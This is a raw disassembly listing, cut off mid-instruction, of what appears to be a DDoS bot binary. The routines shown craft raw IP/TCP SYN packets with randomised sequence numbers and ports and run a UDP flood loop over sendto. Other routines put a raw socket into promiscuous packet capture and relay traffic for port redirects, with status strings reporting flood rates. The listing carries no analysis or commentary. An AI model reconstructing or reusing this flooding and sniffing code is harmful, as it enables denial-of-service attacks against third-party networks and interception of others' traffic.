idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: ___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27F0BB2h mov [esp+48h], eax mov al, byte_4D84C9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx call near ptr 71AB2C69h nop cmp eax, 0FFFFFFFFh jz loc_4284AA nop call near ptr 27F0BB2h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 427907E8h, 0C9A09002h, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi call near ptr 71AB9639h nop mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 call near ptr 71AB3B91h nop mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi nop call near ptr 71AB2B66h cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84C9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2850000h dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F40 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80D7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80D7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi call near ptr 71AB3E00h nop cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx call near ptr 77C3EEF6h nop add esp, 4 push esi call near ptr 71AB9639h nop loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446F04 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4291E0 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4291E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4291E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292B0: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_4292C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292C8: ; CODE XREF: ___:004292BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_4292F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292F8: ; CODE XREF: sub_4292E0+Dj mov eax, esi pop esi retn 4 sub_4292E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429310 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429330 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8085 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429330 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_429528 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429528: ; CODE XREF: sub_429510+Dj mov eax, esi pop esi retn 4 sub_429510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429540 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42955E push eax call edi ; closesocket loc_42955E: ; CODE XREF: sub_429540+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42956C push eax call edi ; closesocket loc_42956C: ; CODE XREF: sub_429540+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_429540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4295B0: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDB2 push eax mov eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_4295E8: ; CODE XREF: ___:0042A576j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A600 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset 